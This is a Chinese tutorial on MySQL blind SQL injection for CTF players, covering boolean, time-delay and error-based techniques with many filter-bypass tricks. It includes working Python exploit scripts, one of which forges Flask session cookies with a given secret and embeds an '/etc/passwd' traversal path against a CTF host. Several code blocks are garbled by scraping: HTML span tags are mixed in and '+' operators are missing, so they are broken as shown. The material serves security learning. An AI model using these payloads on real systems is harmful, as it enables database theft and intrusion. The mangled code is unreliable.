一文搞定MySQL盲注

2022-10-31 11:20:45 浏览数 (1)

文章首发于安全客:https://www.anquanke.com/post/id/266244

Author: 颖奇L’Amore

Blog: www.gem-love.com


0x00 前言▸

无论是CTF还是实战渗透测试中,SQL注入都是一个非常热门的漏洞。通常人们根据SQL注入是否有回显将其分为有回显的注入和无回显的注入,其中无回显的注入顾名思义就是大家常说的盲注了。但是盲注不像union联合查询直接注出结果那么明了,利用起来也不是简单一两行SQL代码就可以完成,因此难度更大一些。 目前的CTF中MySQL的盲注依然是热点之一,然而盲注又被分成Like盲注、正则盲注、异或盲注等等太多类型,让新入门的萌新十分摸不到头脑。本文希望以言简意赅的语言帮助刚入门WEB CTF的选手们快速“拿捏”MySQL盲注。

PS:其他关系型数据库(比如postgresql/sqlite)的盲注都大同小异,语法略有不同,会了MySQL然后再去看看其他数据库的语法和文档基本别的数据库就也会了。目前CTF中十有八九是MySQL,所以本文也就全部讲MySQL了。

0x01 盲注介绍▸

什么是盲注?▸

首先盲注是SQL注入的一种,SQL注入是指:WEB应用程序没有对用户的输入进行足够的安全校验,用户的输入被拼接进SQL语句并执行该SQL语句,由于用户输入了一些满足SQL语句语法的字符,拼接进SQL语句后执行最终导致数据库执行了本不应该被执行的非法操作。

举个例子(以下全文都用这个例子),一个学生信息查询系统,输入学生学号就会返回学生的姓名和专业,实际上就是执行的SELECT name,majority FROM student WHERE student_id = '$id'; 正常情况下用户输入的是一个学号,那么返回该学生的信息。如果用户输入的是123' or '1'='1,整个语句就变成了SELECT name,majority FROM student WHERE student_id = '123' or '1'='1';会返回所有学生的信息。

而盲注是在SQL注入的基础上,根据SQL注入的回显不同而定义的。以上面这个例子为例,用户输入学号,WEB程序打印出该学生的姓名和专业,这个姓名和专业是数据库里存储的具体数据,而WEB程序将这个数据库里的数据原封不动的告诉 我们了,这种就叫有回显。而无回显是指,WEB程序不再告诉我们具体的数据了,可能只告诉我们说:“查询成功”、“查询失败”,甚至可能只说一句“查询完成”或者什么都不说。虽然我们并不能直接得到数据库中的具体数据,但是SQL语句的拼接发生了、非法的SQL语句也执行了,那么SQL注入就发生了,只是SQL注入的结果我们没有直接拿到罢了。

虽然是无回显的,但也并不意味着就无从下手了,盲注正是为了针对这种情况的!盲注更像是一种爆破、一种无脑测试,具体注入的时候,比如想注入数据库名,攻击者在做这样的事:

代码语言:javascript复制
如果"数据库名"的第1个字母是a,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第1个字母是b,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第1个字母是c,你就说“查询成功”,否则就说“查询失败”
...
如果"数据库名"的第2个字母是a,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第2个字母是b,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第2个字母是c,你就说“查询成功”,否则就说“查询失败”
...

这样通过不断的测试,最终根据WEB程序返回的“查询成功”和“查询失败”,攻击者判断出了想注入数据的每一位是什么,那么就也能够得到这个数据的具体值了。最后补充一下,这里所说的“查询成功”和“查询失败”,是指WEB程序的回显,而这个回显基本上是由SQL语句查询是否成功(也就是SQL语句是否查询出数据)决定的,而SQL查询结构是被WHERE子句所控制的,所以攻击者一般就是对WHERE子句进行构造。

盲注有哪些分类?▸

总体来讲,盲注分为布尔型和延时型两大类。

布尔型就是上面所说的“查询成功”和“查询失败”,根据SQL语句查询的真和假,WEB程序有两种不同的回显,这两种不同的回显就被称为“布尔回显”。

延时型也就是所谓的时间盲注,即在无法通过布尔盲注判断的情况下,通过响应时长来判断。在做延时盲注时,攻击者构造的SQL语句是这样的意思:如果满足xx条件,就sleep(5),否则就不sleep。数据库如果执行了sleep()就会延时,而WEB程序和数据库做交互就会等数据库的这个延时,用户(攻击者)和WEB程序做交互那么用户就也得等WEB页面的这个延时,所以攻击者只需要根据页面的响应时间的长短就可以判断xx条件是否满足了。而这个xx条件,可能就是“数据库名的第一位是否为a”这样的判断语句。

这里将布尔盲注又细分出了一个新的类型——报错盲注,这个报错盲注和我们通常说的报错注入是完全不同的东西,这种注入类型我们在后面再专门进行介绍。

0x02 盲注怎么注▸

盲注的步骤▸

前面一直是以抽象的中文来表示盲注的操作,这里我们使用SQL语句进行更详细的说明。

还是那个学生查询的例子:SELECT name,majority FROM student WHERE student_id = 'id'; 其中id为用户输入,假设为布尔盲注,回显为“查询成功”和“查询失败”。

Step 1: 找注入点▸

关于找注入点比较简单,学过SQL注入应该都会,如果题目给了源码就直接看着SQL语句构造就行了。

如果没有给源码,我们需要先测试字段类型是字符型还是数字型,然后看是否有回显,然后用or 1=1#之类的东西去测试。具体测试时,我们先想象他的SQL语句是select xx from yy where zz = '$your_input'; 因为基本所有题的SQL语句都是这个结构,在这个SQL语句结构的基础上去测试就好了。

Step 2: 构造condition▸

所谓的condition就是某个条件,这个条件的真与假可以影响SQL语句的查询结果,进而影响WEB页面的回显。例如输入0' or 1=1#0' or 1=2#(#是注释符):

代码语言:javascript复制
SELECT name, mojority FROM student WHERE student_id = '0' or 1=1#'  #查询成功
SELECT name, mojority FROM student WHERE student_id = '0' or 1=2#'  #查询失败

这里我们可以明确的知道student_id为0的学员是不可能存在的,那么上述SQL语句的查询结果就完全由or后面的1=11=2来决定了。SQL中=意为“是否相等”,所以1=1就表示1是否等于1,这是一个布尔表达式,它的结果只有True和False两种。

这个能直接影响整个SQL语句查询结果的1=11=2,也就是这个布尔条件表达式,就是我们目前Step 2要构造的condition。

Step 3: 注数据▸

现在我们只需要将Step 2构造的Condition换成具体的注入数据的语句,就可以了!

代码语言:javascript复制
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'b'
....

布尔盲注中的布尔回显▸

  1. 最常见的就是回显的内容不同,比如查询成功查询失败,回显长度有时也可以
  2. 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
  3. 看HTTP状态码,比如结果为真则3xx重定向,为假则返回200

盲注脚本的编写▸

分析可知:

  • 针对截取的每一位,都要把字母表跑一遍来判断是否相等,因此需要两层循环,外层循环为位数,内层循环为具体值。
  • 对于注入不同的数据,只要修改内部子查询就好了,其他的部分不需要改动,因此可以把子查询写成一个单独的变量。

于是可以写出这样的注入脚本:

代码语言:javascript复制
<span class="hljs-comment"># 导入所需模块</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> string 

<span class="hljs-comment"># 构造字母表,根据字母表去爆破每一位的具体值</span>
alphabet = string.ascii_letters   string.digits   <span class="hljs-string">",}{_="</span>

<span class="hljs-comment"># 题目的URL</span>
url = <span class="hljs-string">"http://127.0.0.01/?student_id="</span>

<span class="hljs-comment"># 注入什么数据,select变量就写什么子查询语句</span>
select = <span class="hljs-string">"select database()"</span> 
select = <span class="hljs-string">"select group_concat(table_name) from information_schema.tables where table_schema=database()"</span> 

<span class="hljs-comment"># 用来保存注入出的结果</span>
result = <span class="hljs-string">""</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>,<span class="hljs-number">100</span>): <span class="hljs-comment"># 外层循环,从1开始,因为截取的位数是从1开始的</span>
    <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> alphabet: <span class="hljs-comment"># 内层循环,是具体需要测试的值</span>
        
        <span class="hljs-comment"># 构造SQL语句,发起请求</span>
        payload = <span class="hljs-string">f"2019122001' and substr((<span class="hljs-subst">{select}</span>) ,<span class="hljs-subst">{i}</span>,1) = '<span class="hljs-subst">{ch}</span>' #"</span>
        r = requests.get(url=url payload)
        
        <span class="hljs-comment"># 根据回显判断,如果得到了表示查询成功的回显,那么说明判断数据的这一位是正确的</span>
        <span class="hljs-keyword">if</span> <span class="hljs-string">"查询成功"</span> <span class="hljs-keyword">in</span> r.text:
            result  = ch 
            <span class="hljs-built_in">print</span>(<span class="hljs-string">"注入成功:"</span>, result)
            <span class="hljs-keyword">break</span> <span class="hljs-comment"># 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了</span>

        <span class="hljs-comment"># 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了</span>
        <span class="hljs-keyword">if</span> ch == alphabet[-<span class="hljs-number">1</span>]:
            <span class="hljs-built_in">print</span>(<span class="hljs-string">"注入完成"</span>)
            exit(<span class="hljs-number">0</span>)

虽然每个题目的注入脚本各有不同,但是基本都是这样的结构,可以根据这个脚本的结构来写你自己的注入脚本。

0x03 盲注的两个基本问题▸

两个基本问题是什么▸

通过上面的内容,你已经能够进行简单的盲注了,然而实际的题目中会加上各种各样的过滤,为了绕过这些过滤,盲注被分成了LIKE注入、MID注入、LEFT注入、正则注入、IN注入、BETWEEN注入等各种各样的注入类型,学习起来非常不便。==这其实是完全没有必要的!==

我们来观察这个注入语句substr((select database()),1,1) = 'a',你会发现他实际上就是两个部分组成的:

  1. 字符串截取,截取字符串的某一位
  2. 比较是否相等

实际上所有的盲注都需要满足这两个部分,那么我们不妨就将其称为“盲注的两个基本问题”,即:

  1. 字符串的截取
  2. 比较

两个基本问题的必要性▸

既然是基本问题,就是不可或缺的、必须具备的。那么为什么说这是盲注的基本问题呢?我们可以反向分析。

字符串的截取▸

因为盲注是一种brute force,所以我们可以计算一下爆破所需的次数。假设我们需要注入的数据是一个7位的包含大小写字母和数字的单词,那么每一位的可能性就是:26大写字母 26小写字母 10数字=62个字符。

将其截取成每一位然后判断,每一位最多62次就可以爆破出来,那么一共最多也就是62x7=434次就可以爆破出来了。

如果不截取成每一位,而是直接硬着头皮去爆破,那么就是62^7=3521614606208种可能性,3521614606208 / 434 = 8114319369,所需的工作量整整多了81亿多倍!

比较▸

这个没啥可说的,如果没法比较,就没办法根据条件的真假来影响SQL语句的结果进而影响WEB页面的回显,那就没法判断了!

0x04 字符串截取与比较的方法▸

上一个部分说了,我们没有必要将盲注分成LIKE注入IN注入什么什么那么多方法,总结下来只有两个基本问题。所以说各种各样的盲注的分类其实都跑不出这两个基本问题,那么其实只要我们能掌握所有的截取和比较的方法,我们就相当于是掌握了所有的盲注方法!

以下是我总结的目前已出现的字符串截取与比较的方法,如有其他欢迎补充。这里我们测试的注入数据是select database(), 结果为college

字符串截取方法▸

substr()▸

这是最最最最基本的截取函数!

使用方法:substr(要截取的字符串,从哪一位开始截取,截取多长)

注意,这里截取的开始位数是从1开始数的,比如截取第一位那么就写1而不是0。substrsubstring是同名函数。

mid()▸

substr()用法基本一样,是substr()完美的替代品。

right()▸

表示截取字符串的右面几位。

使用方法:right(截取的字符串,截取长度)

到了right()函数就不太好用了,因为substr()mid()是精确截取某一位的,而right()不能这样精确的截取,他只能截取某些位。

技巧:和ascii / ord函数一起使用,ascii()或ord()返回传入字符串的首字母的ASCII码。ascii(right(所截取字符串, x))会返回从右往左数的第x位的ASCII码,例如:

另外建议能用ASCII码判断时,就不要直接用明文字符进行判断,尽量用ASCII。理由如下:①如果直接用明文字符进行判断,有一些特殊符号(单引号反斜线等)会干扰整个SQL语句的语法。②ASCII将字符转成数字,数字可以用大于小于的判断,可以二分注入,而字符基本只能用等号判断(字符其实也可以大于小于判断,但是很麻烦,可以想象一下无列名盲注)。

left()▸

表示截取字符串的左面几位。

使用方法:left(截取的字符串,截取长度)

right一样,依然是个不能精确截取某一位的函数,但是也可以利用技巧来实现精准截取。

技巧:和reverse() ascii() / ord()一起使用。ascii(reverse(left(所截取字符串, x)))会返回从左往右数的第x位的ASCII码,例如:

regexp▸

用来判断一个字符串是否匹配一个正则表达式。这个函数兼容了截取与比较。

使用方法:binary 目标字符串 regexp 正则

但是直接字符串 regexp 正则表达式是大小写不敏感的,需要大小写敏感需要加上binary关键字(binary不是regexp的搭档,需要把binary加到字符串的前面而不是regexp的前面,MySQL中binary是一种字符串类型):

rlike▸

regexp一样。

trim()▸

注入方法▸

trim()函数除了用于移除首尾空白外,还有如下用法:

TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str) 表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr

例如trim(leading 'a' from 'abcd')表示移除abcd句首的a, 于是会返回bcd

利用TRIM进行字符串截取比较复杂,在讲解之前我们需要明确一个点:例如trim(leading 'b' from 'abcd')会返回abcd,因为这句话意思是移除abcd句首的b,但是abcd并不以b为句首开头,所以trim函数相当于啥也没干。

为了讲解,这里我用i来表示一个字符,例如i如果表示a,那么i 1就表示bi 2就表示c。注入时,需要进行2次判断,使用4个trim函数。第一次判断:

代码语言:javascript复制
SELECT TRIM(LEADING i FROM (select database())) = TRIM(LEADING i 1 FROM (select database()));

我们知道select database()结果为college,比如现在i表示a,那么i 1就表示b,则trim(leading 'a' from 'college')trim(leading 'b' from 'college')都返回college(因为college不以a也不以b为开头),那么这个TRIM() = TRIM()的表达式会返回1。也就是说如果这个第一次判断返回真了,那么表示i和i 1都不是我们想要的正确结果。反之,如果这个TRIM() = TRIM()的表达式返回了0,那么ii 1其中一个必是正确结果,到底是哪个呢?我们进行二次判断:

代码语言:javascript复制
SELECT TRIM(LEADING i 2 FROM (select database())) = TRIM(LEADING i 1 FROM (select database()));

在第二次判断中,i 2i 1做比较。如果第二次判断返回1,则表示i 2i 1都不是正确结果,那么就是i为正确结果;如果第二次判断返回0,则表示i 2i 1其中一个是正确结果,而正确结果已经锁定在ii 1了,那么就是i 1为正确结果。这是通用的方法,一般写脚本时,因为循环是按顺序来的,所以其实一次判断就能知道结果了,具体大家自己写写脚本体会一下就明白了。

当我们判断出第一位是'c'后,只要继续这样判断第二位,然后第三位第四位..以此类推:

代码语言:javascript复制
SELECT TRIM(LEADING 'ca' FROM (select database())) = TRIM(LEADING 'cb' FROM (select database()));
SELECT TRIM(LEADING 'cb' FROM (select database())) = TRIM(LEADING 'cc' FROM (select database()));
SELECT TRIM(LEADING 'cc' FROM (select database())) = TRIM(LEADING 'cd' FROM (select database()));
......
使用trim的例题▸

第四届美团CTF初赛,EasySQL,我的EXP:

代码语言:javascript复制
<span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment">#-*- coding:utf-8 -*-</span>
<span class="hljs-comment">#__author__: 颖奇LAmore www.gem-love.com</span>

<span class="hljs-keyword">import</span> requests <span class="hljs-keyword">as</span> req 
<span class="hljs-keyword">import</span> os 
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote
<span class="hljs-keyword">import</span> base64

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">getsession</span>(<span class="hljs-params">username</span>):</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">getcmd</span>(<span class="hljs-params">cmd</span>):</span>
        cmdpfx = <span class="hljs-string">'''python3 ./Y1ngTools/flask-session-cookie-manager/flask_session_cookie_manager3.py encode -s 'ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada' -t '''</span>
        <span class="hljs-keyword">return</span> cmdpfx   <span class="hljs-string">f''' "<span class="hljs-subst">{cmd}</span>" '''</span>
    session = <span class="hljs-string">"{'islogin': True, 'pic': '../../../../../../etc/passwd', 'profiles': 'Administrator user, with the highest authority to the system', 'user': 'US3RN4ME'}"</span>
    session = session.replace(<span class="hljs-string">'US3RN4ME'</span>, username.replace(<span class="hljs-string">"'"</span>, <span class="hljs-string">"\'"</span>))
    res = os.popen(getcmd(session)).read()
    <span class="hljs-keyword">return</span> res.replace(<span class="hljs-string">'n'</span>, <span class="hljs-string">''</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">readfile</span>(<span class="hljs-params">r</span>):</span>
    <span class="hljs-keyword">try</span>:
        res = r.text.split(<span class="hljs-string">'base64,'</span>)[<span class="hljs-number">1</span>].split(<span class="hljs-string">"" width="</span>)[<span class="hljs-number">0</span>]
    <span class="hljs-keyword">except</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">"不存在"</span>)
        exit(<span class="hljs-number">0</span>)
    <span class="hljs-built_in">print</span>(base64.b64decode(res.encode()).decode(<span class="hljs-string">'utf-8'</span>))

burp0_url = <span class="hljs-string">"http://eci-2ze2ptl1d7s4w0vn6x9d.cloudeci1.ichunqiu.com:8888/home"</span>
burp0_cookies = {<span class="hljs-string">"Hm_lvt_2d0601bd28de7d49818249cf35d95943"</span>: <span class="hljs-string">"1636507075"</span>, <span class="hljs-string">"__jsluid_h"</span>: <span class="hljs-string">"c7d0c61afe2b3dd7eaeaa660783dab2d"</span>, <span class="hljs-string">"session"</span>: <span class="hljs-string">".eJxdjEEOgzAMBL9i-YzInVufElGDLYUY2Q4IVf17A8dKe5ud-aB40VUqTmGNBtxlxgnHMf1tN52TU1kS1UNMK_av6SKFvAuv9yZVPCyHGjQnG-CUYAgmYFmZPCC3YDWJC0If4JcHbb10C72S7wp-fyh_MkQ.YbSA5Q.vuB7TdIOHJjOxeb0QJe13mBgRkw"</span>}
burp0_headers = {<span class="hljs-string">"Cache-Control"</span>: <span class="hljs-string">"max-age=0"</span>, <span class="hljs-string">"Upgrade-Insecure-Requests"</span>: <span class="hljs-string">"1"</span>, <span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36"</span>, <span class="hljs-string">"Accept"</span>: <span class="hljs-string">"text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"</span>, <span class="hljs-string">"Accept-Encoding"</span>: <span class="hljs-string">"gzip, deflate"</span>, <span class="hljs-string">"Accept-Language"</span>: <span class="hljs-string">"zh-CN,zh;q=0.9,en;q=0.8"</span>, <span class="hljs-string">"Connection"</span>: <span class="hljs-string">"close"</span>}

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">text2hex</span>(<span class="hljs-params">s</span>):</span>
    res = <span class="hljs-string">""</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> s:
        res  = <span class="hljs-built_in">hex</span>(<span class="hljs-built_in">ord</span>(i)).replace(<span class="hljs-string">"0x"</span>, <span class="hljs-string">""</span>)
    <span class="hljs-keyword">return</span> <span class="hljs-string">"0x"</span>   res

select = <span class="hljs-string">'select group_concat(column_name) from information_schema.columns where table_schema=0x637466'</span>
select = <span class="hljs-string">'select group_concat(f1aggggggg) from flagggishere'</span>
<span class="hljs-comment"># f1aggggggg</span>
<span class="hljs-comment"># table flagggishere</span>
res = <span class="hljs-string">'flag{'</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>,<span class="hljs-number">200</span>):
    <span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">40</span>, <span class="hljs-number">128</span>):
        payload = <span class="hljs-string">f"""' or trim(leading <span class="hljs-subst">{text2hex(res <span class="hljs-built_in">chr</span>(ch))}</span> from (<span class="hljs-subst">{select}</span>))=trim(leading <span class="hljs-subst">{text2hex(res <span class="hljs-built_in">chr</span>(ch <span class="hljs-number">1</span>))}</span> from (<span class="hljs-subst">{select}</span>))='1"""</span>.replace(<span class="hljs-string">' '</span>, <span class="hljs-string">'/**/'</span>)
        burp0_cookies[<span class="hljs-string">'session'</span>] = getsession(payload)
        r = req.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> <span class="hljs-string">'Who are you?'</span> <span class="hljs-keyword">in</span> r.text.split(<span class="hljs-string">'''&lt;h2&gt;Profiles:'''</span>)[<span class="hljs-number">1</span>]:
                res  = <span class="hljs-built_in">chr</span>(ch <span class="hljs-number">1</span>)
                <span class="hljs-built_in">print</span>(<span class="hljs-string">"[*] 注入成功"</span>, res)
                <span class="hljs-keyword">break</span> 
            <span class="hljs-keyword">else</span>:
                <span class="hljs-built_in">print</span>(ch)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            <span class="hljs-built_in">print</span>(r.text)

        <span class="hljs-keyword">if</span> ch == <span class="hljs-number">127</span>:
            <span class="hljs-built_in">print</span>(<span class="hljs-string">"[*] 注入完成"</span>)
            exit(<span class="hljs-number">0</span>)

insert()▸

虽然字面意思为插入,其实是个字符串替换的函数!

用法:insert(字符串,起始位置,长度,替换为什么)

在进行字符串截取时,可以实现精确到某一位的截取,但是要对其进行变换,具体原理大家可以自己分析,这里直接给出使用方法:

代码语言:javascript复制
SELECT insert((insert(目标字符串,1,截取的位数,'')),2,9999999,''); # 这里截取的位数从0开始数

使用INSERT()进行注入的exp脚本可以看后面报错盲注的例题。

比较方法▸

= > <▸

最基本的比较方法!

LIKE▸

基本上可以用来替代等号,如果没有% _之类的字符的话。

RLIKE / REGEXP▸

上面截取时候已经讲过了,正则是截取 比较的结合体。

BETWEEN▸

用法:expr BETWEEN 下界 AND 上界;

说明:表示是否expr >= 下界 && exp <= 上界,有点像数学里的“闭区间”,只是这里的上下界可以相等,比如expr是2,那么你没必要写2 between 1 and 3,完全可以写成2 between 2 and 2。所以x between i and i就是表示x是否等于i的意思。

IN▸

用法:expr1 in (expr1, expr2, expr3)

说明:有点像数学中的元素是否属于一个集合。同样也是大小写不敏感的,为了大小写敏感需要用binary关键字。

示例:

AND和减法运算▸

and 也可以用&&来表示,是逻辑与的意思。

在盲注中,可以用一个true去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

OR和减法运算▸

or 也可以用||来表示,是逻辑或的意思。

在盲注中,可以用一个false去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

异或注入▸

虽然也可以做比较,比如:

但是异或更多应用在不能使用注释符的情况下。注入时,SQL语句为SELECT xx FROM yy WHERE zz = '$your_input';因为用户的输入后面还有一个单引号,很多时候我们使用#或者-- 直接注释掉了这个单引号,但是如果注释符被过滤了,那么这个单引号就必须作为SQL语句的一部分,这时可以这样做:

代码语言:javascript复制
WHERE zz = 'xx' or '1'^(condition)^'1';

而对于'1'^(condition)^'1'这个异或表达式,如果condition为真则返回真,condition为假就返回假

上面开始时讲的盲注的步骤,找到这个condition后,我们只要将condition换成具体的注入语句(也就是字符串截取与比较的语句)就可以了。所以异或的好处是:能够让你自由的进行截取和比较,而不需要考虑最后的单引号,因为异或帮你解决了最后的单引号。

在没有注释符的情况下,除了异或,还可以用连等式、连减法式等等!根据运算中condition返回的0和1进行构造就行了。

CASE▸

两种用法:

代码语言:javascript复制
CASE WHEN (表达式) THEN exp1 ELSE exp2 END; # 表示如果表达式为真则返回exp1,否则返回exp2
CASE 啥 WHEN 啥啥 THEN exp1 ELSE exp2 END; # 表示如果(啥=啥啥)则返回exp1,否则返回exp2

CASE一般不用来做比较,而是构造条件语句,在时间盲注中更能用到!

0x05 延时盲注▸

基本利用-sleep▸

基础利用▸

用法:sleep(延时的秒数)

一般情况下,使用ifcase构造条件表达式进行延时:

代码语言:javascript复制
if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;

无if和case的解决办法▸

假设ifcase被ban了,又想要根据condition的真假来决定是否触发sleep(),可以将condition整合进sleep()中,做乘法即可:

代码语言:javascript复制
sleep(5*(condition))

如果condition为真则返回1,5*(condition)5*1为5,延时5秒;如果condition为假则返回0,5*(condition)5*0为0,延时0秒。

Bypass方法▸

benchmark▸

是替代sleep的首选。

用法:benchmark(执行多少次,执行什么操作)

通过修改执行的次数和执行的操作(比如sha1(sha1(sha1(sha1())))这样多套几层),可以精准控制延时时间。

笛卡尔积▸

也就是所谓的HEAVY QUERY,用的不多。

get_lock▸

可以精准控制延时时间,但是不好用,因为需要维持MySQL的会话,基本用不到。

正则▸

通过正则的状态机不断进行状态转换,增加比配的时长,打到延时的目的。例如:

代码语言:javascript复制
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*) ',30),'b');

写脚本的技巧▸

很多人喜欢这样写脚本:

代码语言:javascript复制
start_time = <span class="hljs-built_in">int</span>(time.time())
requests.get(url)
end_time = <span class="hljs-built_in">int</span>(time.time())
<span class="hljs-keyword">if</span> end_time - start_time &gt; <span class="hljs-number">3</span>: <span class="hljs-comment"># 用开始时间和结束时间做差</span>
    <span class="hljs-built_in">print</span>(<span class="hljs-string">"延时发生了,注入成功"</span>)

这其实非常不好!因为我们发现了除了sleep其他基本都不太能精准控制延时时长,这样写脚本就是:你延时多久我就等你多久。太慢了!如果一次延时要一个小时,你也要等他一个小时吗?很明显不太明智,等你注完黄瓜菜都凉了。

正确的写延时盲注脚本的方法应该是:

代码语言:javascript复制
<span class="hljs-keyword">try</span>:
    requests.get(url, timeout=<span class="hljs-number">3</span>)
<span class="hljs-keyword">except</span>:
    <span class="hljs-built_in">print</span>(<span class="hljs-string">"延时发生了,注入成功"</span>)

我们利用timeout=3设置了一个3秒的超时,如果超时会抛出Exception。这样写代码的好处是:就算它要延时一年,我们也就等他3秒钟,然后就开始下一轮循环了,不用陪着MySQL延时,大大提高了脚本的效率。

0x06 报错盲注▸

报错盲注介绍▸

看这样一个题目的代码:

代码语言:javascript复制
<span class="hljs-variable">$con</span> = <span class="hljs-keyword">new</span> mysqli(<span class="hljs-variable">$hostname</span>,<span class="hljs-variable">$username</span>,<span class="hljs-variable">$password</span>,<span class="hljs-variable">$database</span>)
<span class="hljs-variable">$con</span>-&gt;query(<span class="hljs-string">"select username, password from users where username='<span class="hljs-subst">$username</span>' and password='<span class="hljs-subst">$password</span>'"</span>);
<span class="hljs-keyword">if</span> (<span class="hljs-variable">$con</span>-&gt;error) {
	<span class="hljs-keyword">die</span>(<span class="hljs-string">"ERROR"</span>)
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">die</span>(<span class="hljs-string">"查询完成"</span>);

可以发现这是一个符合延时盲注条件的题目,因为题目没有根据查询结果的真假进行不同的布尔输出。但是题目同时ban掉了所有延时盲注所需的关键字,这时怎么办呢?

我们注意到,它会根据MySQL的query是否出错来选择是否输出ERROR,这其实就是布尔回显,因此报错盲注依然是布尔盲注的一种,但是他又和传统布尔盲注有显著的不同。

为了解决这个问题,如果我们能做到如下的操作就可以进行布尔盲注了:

代码语言:javascript复制
if( condition, 报错, 不报错)
case when (condition) then 报错 else 不报错 end

问题就是,这个我们手工构造的报错应该如何来搞呢?

手工报错的方法▸

exp(99999)▸

exp(x)返回e^x 也就是e的x次方。所以exp(x)实际上就是f(x)=e^x^

既然是指数函数,增长率是很大的,那么就很容易变得很大,大到MySQL无法承受就报错了:

cot(0)▸

余切三角函数

pow(99999,999999)▸

和C语言一样,是用来求次方的,我们依然利用数太大导致报错这个思路:

优化▸

我们可以发现,报错盲注和延时盲注很像,延时盲注是“条件满足就sleep”,报错盲注是“条件满足就error”,那么如果ifcase被ban了,如何进行报错盲注呢?

exp▸

我们发现exp(1) exp(2)这些是ok的,而exp(9999)就报错了,不免会问:exp的临界值是多少?是709

基于此我们可以让709加上一个condition,或者710减去一个condition。也可以利用sleep()用的乘法思想。

condition真则报错:

代码语言:javascript复制
exp((1=1)*9999)
exp(709 (1=1))

condition假则报错:

代码语言:javascript复制
exp(710-(1=2))

cot▸

思路参考exp的,不详细说了。

condition真则报错

代码语言:javascript复制
cot(1-(1=1))

condition假则报错:

代码语言:javascript复制
cot(1=0) # 直接把条件放cot()函数里

pow▸

condition真则报错:

代码语言:javascript复制
pow(1 (1=1),99999)

condition假则报错:

代码语言:javascript复制
pow(2-(1=1),99999)

例题▸

在2021年11月左右的第四届“强网”拟态挑战赛的决赛中,有一道叫adminprofile的题目,大概是思路是:

  1. INSERT()截取 报错盲注,注出密码
  2. 登录,通过AJAX找接口,发现任意读
  3. 读源码,justSafeSet模块存在原型链污染漏洞
  4. AST Injection RCE

第一步的注入大概是过滤了if case exp cot和好多字符串截取和比较的关键字。注入的exp如下:

代码语言:javascript复制
<span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment">#-*- coding:utf-8 -*-</span>
<span class="hljs-comment">#__author__: 颖奇LAmore www.gem-love.com</span>

<span class="hljs-keyword">import</span> requests <span class="hljs-keyword">as</span> req 
<span class="hljs-keyword">import</span> time  

url = <span class="hljs-string">'http://ip:port/'</span>
s = req.session()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sqli</span>():</span>
	res = <span class="hljs-string">''</span>
	<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,<span class="hljs-number">20</span>):
		<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">100</span>):
			j = <span class="hljs-number">130</span>-j
			data = {
				<span class="hljs-string">'password'</span> : <span class="hljs-string">f"'||pow((2-(ord(insert((insert(password,1,<span class="hljs-subst">{i}</span>,'')),2,99999,''))-<span class="hljs-subst">{j}</span>)),9999999999999)#"</span>
			}
			r = req.post(url=url <span class="hljs-string">'login'</span>, data=data)
			<span class="hljs-keyword">if</span> <span class="hljs-string">'error'</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> r.text:
				res  = <span class="hljs-built_in">chr</span>(j <span class="hljs-number">1</span>)
				<span class="hljs-built_in">print</span>(res)
				<span class="hljs-keyword">break</span>
			<span class="hljs-keyword">if</span> j == <span class="hljs-number">31</span>:
				<span class="hljs-built_in">print</span>(<span class="hljs-string">"注入完成, 密码是"</span>, res)
				<span class="hljs-keyword">return</span> res

